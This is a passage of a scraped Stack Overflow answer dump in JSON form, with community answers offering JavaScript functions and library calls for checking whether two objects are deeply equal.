}\n\n // Test 3: Values\n for( i = 0; i < keys1.length; i++ ) {\n key = keys1[i];\n if( object1[key] != object2[key] ) {\n return false;\n }\n }\n\n return true;\n}\n"
},
{
"answer_id": 19055489,
"author": "Troy Harvey",
"author_id": 581584,
"author_profile": "https://Stackoverflow.com/users/581584",
"pm_score": 6,
"selected": false,
"text": "angular.equals isEqual angular.equals isEqual var purple = [{\"purple\": \"drank\"}];\nvar drank = [{\"purple\": \"drank\"}];\n\nif(angular.equals(purple, drank)) {\n document.write('got dat');\n} <script src=\"https://ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.min.js\"></script>"
},
{
"answer_id": 20284831,
"author": "Hefeust CORTES",
"author_id": 2372865,
"author_profile": "https://Stackoverflow.com/users/2372865",
"pm_score": 2,
"selected": false,
"text": "function compareKeys(r1, r2) {\n var nloops = 0, score = 0;\n for(k1 in r1) {\n for(k2 in r2) {\n nloops++;\n if(k1 == k2)\n score++; \n }\n }\n return nloops == (score * score);\n};\n for..in"
},
{
"answer_id": 20714337,
"author": "Lex Podgorny",
"author_id": 2487835,
"author_profile": "https://Stackoverflow.com/users/2487835",
"pm_score": 2,
"selected": false,
"text": "var shallowCompareObjects = function(o1, o2, bCompareValues) {\n var s, \n n1 = 0,\n n2 = 0,\n b = true;\n\n for (s in o1) { n1 ++; }\n for (s in o2) { \n if (!o1.hasOwnProperty(s)) {\n b = false;\n break;\n }\n if (bCompareValues && o1[s] !== o2[s]) {\n b = false;\n break;\n }\n n2 ++;\n }\n return b && n1 == n2;\n}\n"
},
{
"answer_id": 21762099,
"author": "Sandeep",
"author_id": 218857,
"author_profile": "https://Stackoverflow.com/users/218857",
"pm_score": -1,
"selected": false,
"text": "JSON.stringify(array1.sort()) === JSON.stringify(array2.sort())"
},
{
"answer_id": 22332518,
"author": "Mirek Rusin",
"author_id": 177776,
"author_profile": "https://Stackoverflow.com/users/177776",
"pm_score": 2,
"selected": false,
"text": "npm install rus-diff\n a = {foo:{bar:1}}\nb = {foo:{bar:1}}\nc = {foo:{bar:2}}\n\nvar rusDiff = require('rus-diff').rusDiff\n\nconsole.log(rusDiff(a, b)) // -> false, meaning a and b are equal\nconsole.log(rusDiff(a, c)) // -> { '$set': { 'foo.bar': 2 } }\n {$rename:{...}, $unset:{...}, $set:{...}}"
},
{
"answer_id": 23511001,
"author": "Sudharshan",
"author_id": 3036701,
"author_profile": "https://Stackoverflow.com/users/3036701",
"pm_score": 0,
"selected": false,
"text": "var john = {\n occupation: \"Web Developer\",\n age: 25\n};\n\nvar bobby = {\n occupation: \"Web Developer\",\n age: 25\n};\n\nfunction isEquivalent(a, b) {\n // Create arrays of property names\n\n var aProps = Object.getOwnPropertyNames(a);\n var bProps = Object.getOwnPropertyNames(b);\n\n // If number of properties is different, objects are not equivalent\n\n if (aProps.length != bProps.length) {\n return false;\n }\n\n for (var i = 0; i < aProps.length; i++) {\n var propName = aProps[i];\n\n // If values of same property are not equal, objects are not equivalent\n if (a[propName] !== b[propName]) {\n return false;\n }\n }\n\n // If we made it this far, objects are considered equivalent\n return true;\n}\n\n// Outputs: true\nconsole.log(isEquivalent(john, bobby));\n var john = {\n occupation: \"Web Developer\",\n age: 25\n};\n\nvar bobby = {\n occupation: \"Web Developer\",\n age: 25\n};\n\n// Outputs: true\nconsole.log(_.isEqual(john, bobby));\n"
},
{
"answer_id": 26016880,
"author": "Rafael Xavier",
"author_id": 798133,
"author_profile": "https://Stackoverflow.com/users/798133",
"pm_score": 5,
"selected": false,
"text": "require(\"assert\").deepStrictEqual var assert = require(\"assert\");\nassert.deepStrictEqual({a:1, b:2}, {a:1, b:3}); // will throw AssertionError\n true false var assert = require(\"assert\");\n\nfunction deepEqual(a, b) {\n try {\n assert.deepEqual(a, b);\n } catch (error) {\n if (error.name === \"AssertionError\") {\n return false;\n }\n throw error;\n }\n return true;\n};\n"
},
{
"answer_id": 27014537,
"author": "Kevin Teljeur",
"author_id": 2111941,
"author_profile": "https://Stackoverflow.com/users/2111941",
"pm_score": -1,
"selected": false,
"text": "////////////////////////////////////////////////////////////////////////////////\n\nvar equals = function ( objectA, objectB ) {\n var result = false,\n keysA,\n keysB;\n\n // Check if they are pointing at the same variable. If they are, no need to test further.\n if ( objectA === objectB ) {\n return true;\n }\n\n // Check if they are the same type. If they are not, no need to test further.\n if ( typeof objectA !== typeof objectB ) {\n return false;\n }\n\n // Check what kind of variables they are to see what sort of comparison we should make.\n if ( typeof objectA === \"object\" ) {\n // Check if they have the same constructor, so that we are comparing apples with apples.\n if ( objectA.constructor === objectA.constructor ) {\n // If we are working with Arrays...\n if ( objectA instanceof Array ) {\n // Check the arrays are the same length. If not, they cannot be the same.\n if ( objectA.length === objectB.length ) {\n // Compare each element. They must be identical. If not, the comparison stops immediately and returns false.\n return objectA.every(\n function ( element, i ) {\n return equals( element, objectB[ i ] );\n }\n );\n }\n // They are not the same length, and so are not identical.\n else {\n return false;\n }\n }\n // If we are working with RegExps...\n else if ( objectA instanceof RegExp ) {\n // Return the results of a string comparison of the expression.\n return ( objectA.toString() === objectB.toString() );\n }\n // Else we are working with other types of objects...\n else {\n // Get the keys as arrays from both objects. This uses Object.keys, so no old browsers here.\n keysA = Object.keys( objectA );\n\n keysB = Object.keys( objectB );\n\n // Check the key arrays are the same length. If not, they cannot be the same.\n if ( keysA.length === keysB.length ) {\n // Compare each property. They must be identical. If not, the comparison stops immediately and returns false.\n return keysA.every(\n function ( element ) {\n return equals( objectA[ element ], objectB[ element ] );\n }\n );\n }\n // They do not have the same number of keys, and so are not identical.\n else {\n return false;\n }\n }\n }\n // They don't have the same constructor.\n else {\n return false;\n }\n }\n // If they are both functions, let us do a string comparison.\n else if ( typeof objectA === \"function\" ) {\n return ( objectA.toString() === objectB.toString() );\n }\n // If a simple variable type, compare directly without coercion.\n else {\n return ( objectA === objectB );\n }\n\n // Return a default if nothing has already been returned.\n return result;\n};\n\n////////////////////////////////////////////////////////////////////////////////\n"
},
{
"answer_id": 28439261,
"author": "th317erd",
"author_id": 2379136,
"author_profile": "https://Stackoverflow.com/users/2379136",
"pm_score": 3,
"selected": false,
"text": "=== function areEqual(obj1, obj2) {\n var a = JSON.stringify(obj1), b = JSON.stringify(obj2);\n if (!a) a = '';\n if (!b) b = '';\n return (a.split('').sort().join('') == b.split('').sort().join(''));\n}\n function areEqual(obj1, obj2, filter) {\n var a = JSON.stringify(obj1, filter), b = JSON.stringify(obj2, filter);\n if (!a) a = '';\n if (!b) b = '';\n return (a.split('').sort().join('') == b.split('').sort().join(''));\n}\nvar equal = areEqual(obj1, obj2, function(key, value) {\n return (key === 'derp') ? value : undefined;\n});\n"
},
{
"answer_id": 28464026,
"author": "inoabrian",
"author_id": 1851066,
"author_profile": "https://Stackoverflow.com/users/1851066",
"pm_score": 2,
"selected": false,
"text": "function checkObjects(obj,obj2){\n var values = [];\n var keys = [];\n keys = Object.keys(obj);\n keys.forEach(function(key){\n values.push(key);\n });\n var values2 = [];\n var keys2 = [];\n keys2 = Object.keys(obj2);\n keys2.forEach(function(key){\n values2.push(key);\n });\n return (values == values2 && keys == keys2)\n}\n"
},
{
"answer_id": 29006446,
"author": "Tommaso Bertoni",
"author_id": 3743963,
"author_profile": "https://Stackoverflow.com/users/3743963",
"pm_score": -1,
"selected": false,
"text": "Object.prototype.equals = function (object) {\n if (this.constructor !== object.constructor) return false;\n if (Object.keys(this).length !== Object.keys(object).length) return false;\n var obk;\n for (obk in object) {\n if (this[obk] !== object[obk])\n return false;\n }\n return true;\n}\n\nvar aaa = JSON.parse('{\"name\":\"mike\",\"tel\":\"1324356584\"}');\nvar bbb = JSON.parse('{\"tel\":\"1324356584\",\"name\":\"mike\"}');\nvar ccc = JSON.parse('{\"name\":\"mike\",\"tel\":\"584\"}');\nvar ddd = JSON.parse('{\"name\":\"mike\",\"tel\":\"1324356584\", \"work\":\"nope\"}');\n\n$(\"#ab\").text(aaa.equals(bbb));\n$(\"#ba\").text(bbb.equals(aaa));\n$(\"#bc\").text(bbb.equals(ccc));\n$(\"#ad\").text(aaa.equals(ddd)); <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js\"></script>\naaa equals bbb? <span id=\"ab\"></span> <br/>\nbbb equals aaa? <span id=\"ba\"></span> <br/>\nbbb equals ccc? <span id=\"bc\"></span> <br/>\naaa equals ddd? <span id=\"ad\"></span>"
},
{
"answer_id": 29703135,
"author": "PicoCreator",
"author_id": 793842,
"author_profile": "https://Stackoverflow.com/users/793842",
"pm_score": 2,
"selected": false,
"text": "/** Recursively check if both objects are equal in value\n***\n*** This function is designed to use multiple methods from most probable \n*** (and in most cases) valid, to the more regid and complex method.\n***\n*** One of the main principles behind the various check is that while\n*** some of the simpler checks such as == or JSON may cause false negatives,\n*** they do not cause false positives. As such they can be safely run first.\n***\n*** # !Important Note:\n*** as this function is designed for simplified deep equal checks it is not designed\n*** for the following\n***\n*** - Class equality, (ClassA().a = 1) maybe valid to (ClassB().b = 1)\n*** - Inherited values, this actually ignores them\n*** - Values being strictly equal, \"1\" is equal to 1 (see the basic equality check on this)\n*** - Performance across all cases. This is designed for high performance on the\n*** most probable cases of == / JSON equality. Consider bench testing, if you have\n*** more 'complex' requirments\n***\n*** @param objA : First object to compare\n*** @param objB : 2nd object to compare\n*** @param .... : Any other objects to compare\n***\n*** @returns true if all equals, or false if invalid\n***\n*** @license Copyright by eugene@picoded.com, 2012.\n*** Licensed under the MIT license: http://opensource.org/licenses/MIT\n**/\nfunction simpleRecusiveDeepEqual(objA, objB) {\n // Multiple comparision check\n //--------------------------------------------\n var args = Array.prototype.slice.call(arguments);\n if(args.length > 2) {\n for(var a=1; a<args.length; ++a) {\n if(!simpleRecusiveDeepEqual(args[a-1], args[a])) {\n return false;\n }\n }\n return true;\n } else if(args.length < 2) {\n throw \"simpleRecusiveDeepEqual, requires atleast 2 arguments\";\n }\n \n // basic equality check,\n //--------------------------------------------\n // if this succed the 2 basic values is equal,\n // such as numbers and string.\n //\n // or its actually the same object pointer. Bam\n //\n // Note that if string and number strictly equal is required\n // change the equality from ==, to ===\n //\n if(objA == objB) {\n return true;\n }\n \n // If a value is a bsic type, and failed above. This fails\n var basicTypes = [\"boolean\", \"number\", \"string\"];\n if( basicTypes.indexOf(typeof objA) >= 0 || basicTypes.indexOf(typeof objB) >= 0 ) {\n return false;\n }\n \n // JSON equality check,\n //--------------------------------------------\n // this can fail, if the JSON stringify the objects in the wrong order\n // for example the following may fail, due to different string order:\n //\n // JSON.stringify( {a:1, b:2} ) == JSON.stringify( {b:2, a:1} )\n //\n if(JSON.stringify(objA) == JSON.stringify(objB)) {\n return true;\n }\n \n // Array equality check\n //--------------------------------------------\n // This is performed prior to iteration check,\n // Without this check the following would have been considered valid\n //\n // simpleRecusiveDeepEqual( { 0:1963 }, [1963] );\n //\n // Note that u may remove this segment if this is what is intended\n //\n if( Array.isArray(objA) ) {\n //objA is array, objB is not an array\n if( !Array.isArray(objB) ) {\n return false;\n }\n } else if( Array.isArray(objB) ) {\n //objA is not array, objB is an array\n return false;\n }\n \n // Nested values iteration\n //--------------------------------------------\n // Scan and iterate all the nested values, and check for non equal values recusively\n //\n // Note that this does not check against null equality, remove the various \"!= null\"\n // if this is required\n \n var i; //reuse var to iterate\n \n // Check objA values against objB\n for (i in objA) {\n //Protect against inherited properties\n if(objA.hasOwnProperty(i)) {\n if(objB.hasOwnProperty(i)) {\n // Check if deep equal is valid\n if(!simpleRecusiveDeepEqual( objA[i], objB[i] )) {\n return false;\n }\n } else if(objA[i] != null) {\n //ignore null values in objA, that objB does not have\n //else fails\n return false;\n }\n }\n }\n \n // Check if objB has additional values, that objA do not, fail if so\n for (i in objB) {\n if(objB.hasOwnProperty(i)) {\n if(objB[i] != null && !objA.hasOwnProperty(i)) {\n //ignore null values in objB, that objA does not have\n //else fails\n return false;\n }\n }\n }\n \n // End of all checks\n //--------------------------------------------\n // By reaching here, all iteration scans have been done.\n // and should have returned false if it failed\n return true;\n}\n\n// Sanity checking of simpleRecusiveDeepEqual\n(function() {\n if(\n // Basic checks\n !simpleRecusiveDeepEqual({}, {}) ||\n !simpleRecusiveDeepEqual([], []) ||\n !simpleRecusiveDeepEqual(['a'], ['a']) ||\n // Not strict checks\n !simpleRecusiveDeepEqual(\"1\", 1) ||\n // Multiple objects check\n !simpleRecusiveDeepEqual( { a:[1,2] }, { a:[1,2] }, { a:[1,2] } ) ||\n // Ensure distinction between array and object (the following should fail)\n simpleRecusiveDeepEqual( [1963], { 0:1963 } ) ||\n // Null strict checks\n simpleRecusiveDeepEqual( 0, null ) ||\n simpleRecusiveDeepEqual( \"\", null ) ||\n // Last \"false\" exists to make the various check above easy to comment in/out\n false\n ) {\n alert(\"FATAL ERROR: simpleRecusiveDeepEqual failed basic checks\");\n } else { \n //added this last line, for SO snippet alert on success\n alert(\"simpleRecusiveDeepEqual: Passed all checks, Yays!\");\n }\n})();"
},
{
"answer_id": 31618776,
"author": "PunjCoder",
"author_id": 764495,
"author_profile": "https://Stackoverflow.com/users/764495",
"pm_score": 1,
"selected": false,
"text": "object null typeof null object function deepEqual (first, second) {\n // Not equal if either is not an object or is null.\n if (!isObject(first) || !isObject(second) ) return false;\n\n // If properties count is different\n if (keys(first).length != keys(second).length) return false;\n\n // Return false if any property value is different.\n for(prop in first){\n if (first[prop] != second[prop]) return false;\n }\n return true;\n}\n\n// Checks if argument is an object and is not null\nfunction isObject(obj) {\n return (typeof obj === \"object\" && obj != null);\n}\n\n// returns arrays of object keys\nfunction keys (obj) {\n result = [];\n for(var key in obj){\n result.push(key);\n }\n return result;\n}\n\n// Some test code\nobj1 = {\n name: 'Singh',\n age: 20\n}\n\nobj2 = {\n age: 20,\n name: 'Singh'\n}\n\nobj3 = {\n name: 'Kaur',\n age: 19\n}\n\nconsole.log(deepEqual(obj1, obj2));\nconsole.log(deepEqual(obj1, obj3));"
},
{
"answer_id": 32195981,
"author": "Alan R. Soares",
"author_id": 1049963,
"author_profile": "https://Stackoverflow.com/users/1049963",
"pm_score": 4,
"selected": false,
"text": "const typeOf = x => \n ({}).toString\n .call(x)\n .match(/\\[object (\\w+)\\]/)[1]\n\nfunction areSimilar(a, b) {\n const everyKey = f => Object.keys(a).every(f)\n\n switch(typeOf(a)) {\n case 'Array':\n return a.length === b.length &&\n everyKey(k => areSimilar(a.sort()[k], b.sort()[k]));\n case 'Object':\n return Object.keys(a).length === Object.keys(b).length &&\n everyKey(k => areSimilar(a[k], b[k]));\n default:\n return a === b;\n }\n}\n"
},
{
"answer_id": 32922084,
"author": "atmin",
"author_id": 2713676,
"author_profile": "https://Stackoverflow.com/users/2713676",
"pm_score": 6,
"selected": false,
"text": "deepEqual function deepEqual(x, y) {\n return (x && y && typeof x === 'object' && typeof y === 'object') ?\n (Object.keys(x).length === Object.keys(y).length) &&\n Object.keys(x).reduce(function(isEqual, key) {\n return isEqual && deepEqual(x[key], y[key]);\n }, true) : (x === y);\n}\n function deepEqual(x, y) {\n const ok = Object.keys, tx = typeof x, ty = typeof y;\n return x && y && tx === 'object' && tx === ty ? (\n ok(x).length === ok(y).length &&\n ok(x).every(key => deepEqual(x[key], y[key]))\n ) : (x === y);\n}\n"
},
{
"answer_id": 35821859,
"author": "jib",
"author_id": 918910,
"author_profile": "https://Stackoverflow.com/users/918910",
"pm_score": 4,
"selected": false,
"text": "comparable var comparable = o => (typeof o != 'object' || !o)? o :\n Object.keys(o).sort().reduce((c, key) => (c[key] = comparable(o[key]), c), {});\n\n// Demo:\n\nvar a = { a: 1, c: 4, b: [2, 3], d: { e: '5', f: null } };\nvar b = { b: [2, 3], c: 4, d: { f: null, e: '5' }, a: 1 };\n\nconsole.log(JSON.stringify(comparable(a)));\nconsole.log(JSON.stringify(comparable(b)));\nconsole.log(JSON.stringify(comparable(a)) == JSON.stringify(comparable(b))); <div id=\"div\"></div> is is(JSON.stringify(comparable(x)), JSON.stringify(comparable(y)), 'x must match y');\n x must match y\ngot {\"a\":1,\"b\":{\"0\":2,\"1\":3},\"c\":7,\"d\":{\"e\":\"5\",\"f\":null}},\nexpected {\"a\":1,\"b\":{\"0\":2,\"1\":3},\"c\":4,\"d\":{\"e\":\"5\",\"f\":null}}.\n"
},
{
"answer_id": 38661235,
"author": "pmrotule",
"author_id": 1895428,
"author_profile": "https://Stackoverflow.com/users/1895428",
"pm_score": -1,
"selected": false,
"text": "JSON.stringify(obj1) === JSON.stringify(obj2) JSON.stringify var obj1 = { a : 1, b : 2 };\nvar obj2 = { b : 2, a : 1 };\n\nconsole.log(JSON.stringify(obj1) === JSON.stringify(obj2)); // false\n function arr_or_obj(v)\n{ return !!v && (v.constructor === Object || v.constructor === Array); }\n\nfunction deep_equal(v1, v2)\n{\n if (arr_or_obj(v1) && arr_or_obj(v2) && v1.constructor === v2.constructor)\n {\n if (Object.keys(v1).length === Object.keys(v2).length) // check the length\n for (var i in v1)\n {\n if (!deep_equal(v1[i], v2[i]))\n { return false; }\n }\n else\n { return false; }\n }\n else if (v1 !== v2)\n { return false; }\n\n return true;\n}\n\n//////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////\n\nvar obj1 = [\n {\n hat : {\n cap : ['something', null ],\n helmet : [ 'triple eight', 'pro-tec' ]\n },\n shoes : [ 'loafer', 'penny' ]\n },\n {\n beers : [ 'budweiser', 'busch' ],\n wines : [ 'barefoot', 'yellow tail' ]\n }\n];\n\nvar obj2 = [\n {\n shoes : [ 'loafer', 'penny' ], // same even if the order is different\n hat : {\n cap : ['something', null ],\n helmet : [ 'triple eight', 'pro-tec' ]\n }\n },\n {\n beers : [ 'budweiser', 'busch' ],\n wines : [ 'barefoot', 'yellow tail' ]\n }\n];\n\nconsole.log(deep_equal(obj1, obj2)); // true\nconsole.log(JSON.stringify(obj1) === JSON.stringify(obj2)); // false\nconsole.log(deep_equal([], [])); // true\nconsole.log(deep_equal({}, {})); // true\nconsole.log(deep_equal([], {})); // false Function Date RegExp deep_equal if ((typeof obj1 === 'function' && typeof obj2 === 'function') ||\n(obj1 instanceof Date && obj2 instanceof Date) ||\n(obj1 instanceof RegExp && obj2 instanceof RegExp))\n{\n obj1 = obj1.toString();\n obj2 = obj2.toString();\n}\n"
},
{
"answer_id": 39475704,
"author": "Sir_baaron",
"author_id": 5203474,
"author_profile": "https://Stackoverflow.com/users/5203474",
"pm_score": 2,
"selected": false,
"text": "Array.prototype.equals = Object.prototype.equals = function(b) {\n var ar = JSON.parse(JSON.stringify(b));\n var err = false;\n for(var key in this) {\n if(this.hasOwnProperty(key)) {\n var found = ar.find(this[key]);\n if(found > -1) {\n if(Object.prototype.toString.call(ar) === \"[object Object]\") {\n delete ar[Object.keys(ar)[found]];\n }\n else {\n ar.splice(found, 1);\n }\n }\n else {\n err = true;\n break;\n }\n }\n };\n if(Object.keys(ar).length > 0 || err) {\n return false;\n }\n return true;\n}\n\nArray.prototype.find = Object.prototype.find = function(v) {\n var f = -1;\n for(var i in this) {\n if(this.hasOwnProperty(i)) {\n if(Object.prototype.toString.call(this[i]) === \"[object Array]\" || Object.prototype.toString.call(this[i]) === \"[object Object]\") {\n if(this[i].equals(v)) {\n f = (typeof(i) == \"number\") ? i : Object.keys(this).indexOf(i);\n }\n }\n else if(this[i] === v) {\n f = (typeof(i) == \"number\") ? i : Object.keys(this).indexOf(i);\n }\n }\n }\n return f;\n}\n ({a: 1, b: \"h\"}).equals({a: 1, b: \"h\"});\n ({a: 1, b: \"hello\", c: [\"w\", \"o\", \"r\", \"l\", \"d\", {answer1: \"should be\", answer2: true}]}).equals({b: \"hello\", a: 1, c: [\"w\", \"d\", \"o\", \"r\", {answer1: \"should be\", answer2: true}, \"l\"]})\n"
},
{
"answer_id": 39673336,
"author": "Dakusan",
"author_id": 698632,
"author_profile": "https://Stackoverflow.com/users/698632",
"pm_score": 0,
"selected": false,
"text": "function DeepObjectCompare(O1, O2)\n{\n try {\n DOC_Val(O1, O2, ['O1->O2', O1, O2]);\n return DOC_Val(O2, O1, ['O2->O1', O1, O2]);\n } catch(e) {\n console.log(e.Chain);\n throw(e);\n }\n}\nfunction DOC_Error(Reason, Chain, Val1, Val2)\n{\n this.Reason=Reason;\n this.Chain=Chain;\n this.Val1=Val1;\n this.Val2=Val2;\n}\n\nfunction DOC_Val(Val1, Val2, Chain)\n{\n function DoThrow(Reason, NewChain) { throw(new DOC_Error(Reason, NewChain!==undefined ? NewChain : Chain, Val1, Val2)); }\n\n if(typeof(Val1)!==typeof(Val2))\n return DoThrow('Type Mismatch');\n if(Val1===null || Val1===undefined)\n return Val1!==Val2 ? DoThrow('Null/undefined mismatch') : true;\n if(Val1.constructor!==Val2.constructor)\n return DoThrow('Constructor mismatch');\n switch(typeof(Val1))\n {\n case 'object':\n for(var m in Val1)\n {\n if(!Val1.hasOwnProperty(m))\n continue;\n var CurChain=Chain.concat([m]);\n if(!Val2.hasOwnProperty(m))\n return DoThrow('Val2 missing property', CurChain);\n DOC_Val(Val1[m], Val2[m], CurChain);\n }\n return true;\n case 'number':\n if(Number.isNaN(Val1))\n return !Number.isNaN(Val2) ? DoThrow('NaN mismatch') : true;\n case 'string':\n case 'boolean':\n return Val1!==Val2 ? DoThrow('Value mismatch') : true;\n case 'function':\n if(Val1.prototype!==Val2.prototype)\n return DoThrow('Prototype mismatch');\n if(Val1!==Val2)\n return DoThrow('Function mismatch');\n return true;\n default:\n return DoThrow('Val1 is unknown type');\n }\n}\n"
},
{
"answer_id": 40614399,
"author": "Egor Litvinchuk",
"author_id": 2850069,
"author_profile": "https://Stackoverflow.com/users/2850069",
"pm_score": 3,
"selected": false,
"text": "function areEqual(obj1, obj2) {\n\n return Object.keys(obj1).every(key => {\n\n return obj2.hasOwnProperty(key) ?\n typeof obj1[key] === 'object' ?\n areEqual(obj1[key], obj2[key]) :\n obj1[key] === obj2[key] :\n false;\n\n }\n )\n}\n"
},
{
"answer_id": 42611416,
"author": "Zac",
"author_id": 6155692,
"author_profile": "https://Stackoverflow.com/users/6155692",
"pm_score": 4,
"selected": false,
"text": "function objectsAreEqual(a, b) {\n for (var prop in a) {\n if (a.hasOwnProperty(prop)) {\n if (b.hasOwnProperty(prop)) {\n if (typeof a[prop] === 'object') {\n if (!objectsAreEqual(a[prop], b[prop])) return false;\n } else {\n if (a[prop] !== b[prop]) return false;\n }\n } else {\n return false;\n }\n }\n }\n return true;\n}\n"
},
{
"answer_id": 43760048,
"author": "muratgozel",
"author_id": 695796,
"author_profile": "https://Stackoverflow.com/users/695796",
"pm_score": -1,
"selected": false,
"text": "const isEqual = function(inputs = []) {\n // Checks an element if js object.\n const isObject = function(data) {\n return Object.prototype.toString.call(data) === '[object Object]';\n };\n // Sorts given object by its keys.\n const sortObjectByKey = function(obj) {\n const self = this;\n if (!obj) return {};\n return Object.keys(obj).sort().reduce((initialVal, item) => {\n initialVal[item] = !Array.isArray(obj[item]) &&\n typeof obj[item] === 'object'\n ? self.objectByKey(obj[item])\n : obj[item];\n return initialVal;\n }, {});\n };\n\n // Checks equality of all elements in the input against each other. Returns true | false\n return (\n inputs\n .map(\n input =>\n typeof input == 'undefined'\n ? ''\n : isObject(input)\n ? JSON.stringify(sortObjectByKey(input))\n : JSON.stringify(input)\n )\n .reduce(\n (prevValue, input) =>\n prevValue === '' || prevValue === input ? input : false,\n ''\n ) !== false\n );\n};\n\n// Tests (Made with Jest test framework.)\ntest('String equality check', () => {\n expect(isEqual(['murat'])).toEqual(true);\n expect(isEqual(['murat', 'john', 'doe'])).toEqual(false);\n expect(isEqual(['murat', 'murat', 'murat'])).toEqual(true);\n});\n\ntest('Float equality check', () => {\n expect(isEqual([7.89, 3.45])).toEqual(false);\n expect(isEqual([7, 7.50])).toEqual(false);\n expect(isEqual([7.50, 7.50])).toEqual(true);\n expect(isEqual([7, 7])).toEqual(true);\n expect(isEqual([0.34, 0.33])).toEqual(false);\n expect(isEqual([0.33, 0.33])).toEqual(true);\n});\n\ntest('Array equality check', () => {\n expect(isEqual([[1, 2, 3], [1, 2, 3]])).toEqual(true);\n expect(isEqual([[1, 3], [1, 2, 3]])).toEqual(false);\n expect(isEqual([['murat', 18], ['murat', 18]])).toEqual(true);\n});\n\ntest('Object equality check', () => {\n let obj1 = {\n name: 'murat',\n age: 18\n };\n let obj2 = {\n name: 'murat',\n age: 18\n };\n let obj3 = {\n age: 18,\n name: 'murat'\n };\n let obj4 = {\n name: 'murat',\n age: 18,\n occupation: 'nothing'\n };\n expect(isEqual([obj1, obj2])).toEqual(true);\n expect(isEqual([obj1, obj2, obj3])).toEqual(true);\n expect(isEqual([obj1, obj2, obj3, obj4])).toEqual(false);\n});\n\ntest('Weird equality checks', () => {\n expect(isEqual(['', {}])).toEqual(false);\n expect(isEqual([0, '0'])).toEqual(false);\n});\n"
},
{
"answer_id": 45930085,
"author": "gmonte",
"author_id": 8530226,
"author_profile": "https://Stackoverflow.com/users/8530226",
"pm_score": 0,
"selected": false,
"text": "const arraysEqual = (a, b) => {\n if (a === b)\n return true;\n if (a === null || b === null)\n return false;\n if (a.length !== b.length)\n return false;\n\n // If you don't care about the order of the elements inside\n // the array, you should sort both arrays here.\n\n for (let i = 0; i < a.length; ++i) {\n if (a[i] !== b[i])\n return false;\n }\n return true;\n};\n\nconst jsonsEqual = (a, b) => {\n\n if(typeof a !== 'object' || typeof b !== 'object')\n return false;\n\n if (Object.keys(a).length === Object.keys(b).length) { // if items have the same size\n let response = true;\n\n for (let key in a) {\n if (!b[key]) // if not key\n response = false;\n if (typeof a[key] !== typeof b[key]) // if typeof doesn't equals\n response = false;\n else {\n if (Array.isArray(a[key])) // if array\n response = arraysEqual(a[key], b[key]);\n else if (typeof a[key] === 'object') // if another json\n response = jsonsEqual(a[key], b[key]);\n else if (a[key] !== b[key]) // not equals\n response = false;\n }\n if (!response) // return if one item isn't equal\n return false;\n }\n } else\n return false;\n\n return true;\n};\n\nconst json1 = { \n a: 'a', \n b: 'asd', \n c: [\n '1',\n 2,\n 2.5,\n '3', \n {\n d: 'asd',\n e: [\n 1.6,\n { \n f: 'asdasd',\n g: '123'\n }\n ]\n }\n ],\n h: 1,\n i: 1.2,\n};\n\nconst json2 = {\n a: 'nops',\n b: 'asd'\n};\n\nconst json3 = { \n a: 'h', \n b: '484', \n c: [\n 3,\n 4.5,\n '2ss', \n {\n e: [\n { \n f: 'asdasd',\n g: '123'\n }\n ]\n }\n ],\n h: 1,\n i: 1.2,\n};\n\nconst result = jsonsEqual(json1,json2);\n//const result = jsonsEqual(json1,json3);\n//const result = jsonsEqual(json1,json1);\n\nif(result) // is equal\n $('#result').text(\"Jsons are the same\")\nelse\n $('#result').text(\"Jsons aren't equals\") <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js\"></script>\n\n<div id=\"result\"></div>"
},
{
"answer_id": 46645497,
"author": "Pratik Bhalodiya",
"author_id": 4419353,
"author_profile": "https://Stackoverflow.com/users/4419353",
"pm_score": 5,
"selected": false,
"text": "JSON.stringify({a: val1}) === JSON.stringify({a: val2}) val1 val2"
},
{
"answer_id": 48158820,
"author": "EJW",
"author_id": 436569,
"author_profile": "https://Stackoverflow.com/users/436569",
"pm_score": 0,
"selected": false,
"text": "var obj1Fingerprint = JSON.stringify(obj1).replace(/\\{|\\}/g,'').split(',').sort().join(',');\nvar obj2Fingerprint = JSON.stringify(obj2).replace(/\\{|\\}/g,'').split(',').sort().join(',');\nif ( obj1Fingerprint === obj2Fingerprint) { ... } else { ... }\n"
},
{
"answer_id": 48252403,
"author": "Ryan.C",
"author_id": 1511202,
"author_profile": "https://Stackoverflow.com/users/1511202",
"pm_score": 0,
"selected": false,
"text": "NaN !== NaN"
},
{
"answer_id": 49391694,
"author": "Bentaiba Miled Basma",
"author_id": 5647169,
"author_profile": "https://Stackoverflow.com/users/5647169",
"pm_score": 3,
"selected": false,
"text": "_.isEqual(obj1, obj2) var stooge = {name: 'moe', luckyNumbers: [13, 27, 34]};\nvar clone = {name: 'moe', luckyNumbers: [13, 27, 34]};\nstooge == clone;\n=> false\n_.isEqual(stooge, clone);\n=> true\n"
},
{
"answer_id": 50385769,
"author": "Zameer Ansari",
"author_id": 2404470,
"author_profile": "https://Stackoverflow.com/users/2404470",
"pm_score": 2,
"selected": false,
"text": "var object1 = {\n key: \"value\"\n};\n\nvar object2 = {\n key: \"value\"\n};\n\nvar object3 = {\n key: \"no value\"\n};\n\nconsole.log('object1 and object2 are equal: ', JSON.stringify(object1) === JSON.stringify(object2));\n\nconsole.log('object2 and object3 are equal: ', JSON.stringify(object2) === JSON.stringify(object3));"
},
{
"answer_id": 52347860,
"author": "Ndifreke",
"author_id": 9179454,
"author_profile": "https://Stackoverflow.com/users/9179454",
"pm_score": 0,
"selected": false,
"text": "const object = {};\nJSON.stringify(object) === \"{}\" will pass but {} === \"{}\" will not\n"
},
{
"answer_id": 52613946,
"author": "Oliver Dixon",
"author_id": 1134192,
"author_profile": "https://Stackoverflow.com/users/1134192",
"pm_score": 2,
"selected": false,
"text": "let objectOne = { hey, you }\nlet objectTwo = { you, hey }\n\n// If you really wanted you could make this recursive for deep sort.\nconst sortObjectByKeyname = (objectToSort) => {\n return Object.keys(objectToSort).sort().reduce((r, k) => (r[k] = objectToSort[k], r), {});\n}\n\nlet objectOne = sortObjectByKeyname(objectOne)\nlet objectTwo = sortObjectByKeyname(objectTwo)\n JSON.stringify(objectOne) === JSON.stringify(objectTwo)\n"
},
{
"answer_id": 53458226,
"author": "chandan gupta",
"author_id": 8869104,
"author_profile": "https://Stackoverflow.com/users/8869104",
"pm_score": -1,
"selected": false,
